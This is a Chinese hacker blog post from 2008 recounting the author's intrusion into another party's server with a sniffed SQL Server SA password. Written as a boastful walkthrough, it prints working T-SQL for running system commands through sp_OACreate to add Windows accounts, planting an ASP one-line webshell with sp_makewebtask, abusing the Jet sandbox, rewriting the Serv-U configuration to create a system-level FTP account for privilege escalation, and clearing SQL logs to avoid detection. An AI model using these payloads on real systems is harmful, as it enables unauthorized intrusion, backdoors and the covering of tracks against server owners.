存储服务器:用存储过程一样搞定服务器来源: 发布时间:星期二, 2008年12月2日 浏览:34次 评论:0
正文:
前几天在搞一个站的时候嗅到了一个SA密码 但是用sql tool连上之后发现怎么也不能执行DOS命令 郁闷了 今天突然想到可以用存储过程来搞定这个服务器~ 首先在本地用sql server的查询分析器连上他 权限当然是SA啦 但是在执行exec master.dbo.xp_cmdshell'net user'的时候却提示跟sql tool一样的错误 看来xp_cmdshell确 实不能用 错误消息 50001,级别 1,状态 50001 xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 可能是某个相关的DLL文件被删除了 如图1 ![]() 看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_OAcreate可以用 用SP_OAcreate一样可以执行系统命令 在查询分析器里执行 DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add' 这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 然后直接提升为管理员权限就OK了 提示命令完成成功 说明SP_OAcreate并没有被删除 我们用终端连一下 如图2 图3 ![]() ![]() 居然提示密码错误?难道是wscript.shell被删了?其实这里的判断只是经验而你 你要问我怎么判断服务器是 做了密码策略还是wscript.shell被删 我只能告诉你这是经验而已 虽然wscript.shell被删了 但是我们还是有FSO嘛。 先试着列下目录 找到WEB目录搞个SHELL再说 使用exec master.dbo.xp_subdirs 'c:\'来查看C盘的目录 发现完全可以列目录 列目录没问题了 然后偶查看D盘的时候发现有D:\web这个目录 随便找一个网站在IE里打看发现存在这个网站 然后列出来几个目录发现这个网站还有ewebeditor 不过偶们今天不用他 因为有SA嘛 也不用去备份了 直接写 个一句话进去 语句如下 exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' ' 提示命令执行成功偶们看看效果 如图4 如图5 ![]() ![]() 看来小马写进去鸟~ 一点没问题 剩下的就是写入大马啦 然后提权之~ 哈哈 但是意想不到的事情又发生了 NND竟然不让我传大马 我日 提示ADODB.Stream 错误 '800a0bbc' 写入文件失败。 然后换了N个目录都写不进 去 然后我又列出来其他的目录写小马进去 但是都传不了大马 看来管理员把整个WEB目录都设置成了只读 如图6 ![]() NND我都有SA了还不信搞不定这个服务器 差点忘记了还可以用沙盘 嘿嘿 看来一着急脑子就乱 查询分析器里执行select * from openrowset('microsoft.jet.oledb.4.0',' ;database=c:\windows\system32\ias\ias.mdb', 'select shell("cmd.exe /c net user admin admin1234 /add")')来利用沙盘来添加个管理员 但是事实告诉 我 我的RP并不好 如图7 ![]() 既然沙盘也不行 那就另寻出路吧 刚才列目录的时候好象看见了Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的时候发现看 不到文件夹里的内容 不过没关系~ 偶们不是有一句话么。虽然没有写的权限 但是读的权限总改有吧 直接在 一句话里查看目录就OK了 虽然能看目录 但是用ASP马,也不能读出SERV——U配置文件来 看来还得用存储过程 如图8 ![]() 既然找到了SU的目录那偶就想能不能利用一句话写配置信息到ServUDaemon.ini里 然后利用SU来提权 但是事实 证明这个破站权限太牛X了 只能看不能写 不过没关系 偶们还可以利用存储过程 嘿嘿 使用declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end 这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来 嘿嘿 既然能看了那偶门不是一样可以写进去? 直接写一个系统权限的FTP帐号 进去 使用declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 《这里添写自己写好的SU配置信息 刚才复制的那些都要 写上去》 然后执行一下 成功执行 我们再用存储过程看看写进去没有 如图9 ![]() OK 我XXXXXX 成功写进去了一个用户名为XXXX密码为空的系统权限的FTP 然后偶们在FTP里执行 quote siteXXXXXXX 提权就好了。 这里已经很熟悉了 就不写了。~ 然后用3389连一下 成功地到服务器权限 然后偶们再用set nocount on declare @logicalfilename sysname, @maxminutes int, @newsize int 来清理掉SQL日志 免的被管理员发现 整个的提权过程大部分都是用存储过程来完成的。其实这些东西在以前提权的时候都没有想到。 感觉这个思路很? 0
相关文章读者评论
发表评论 |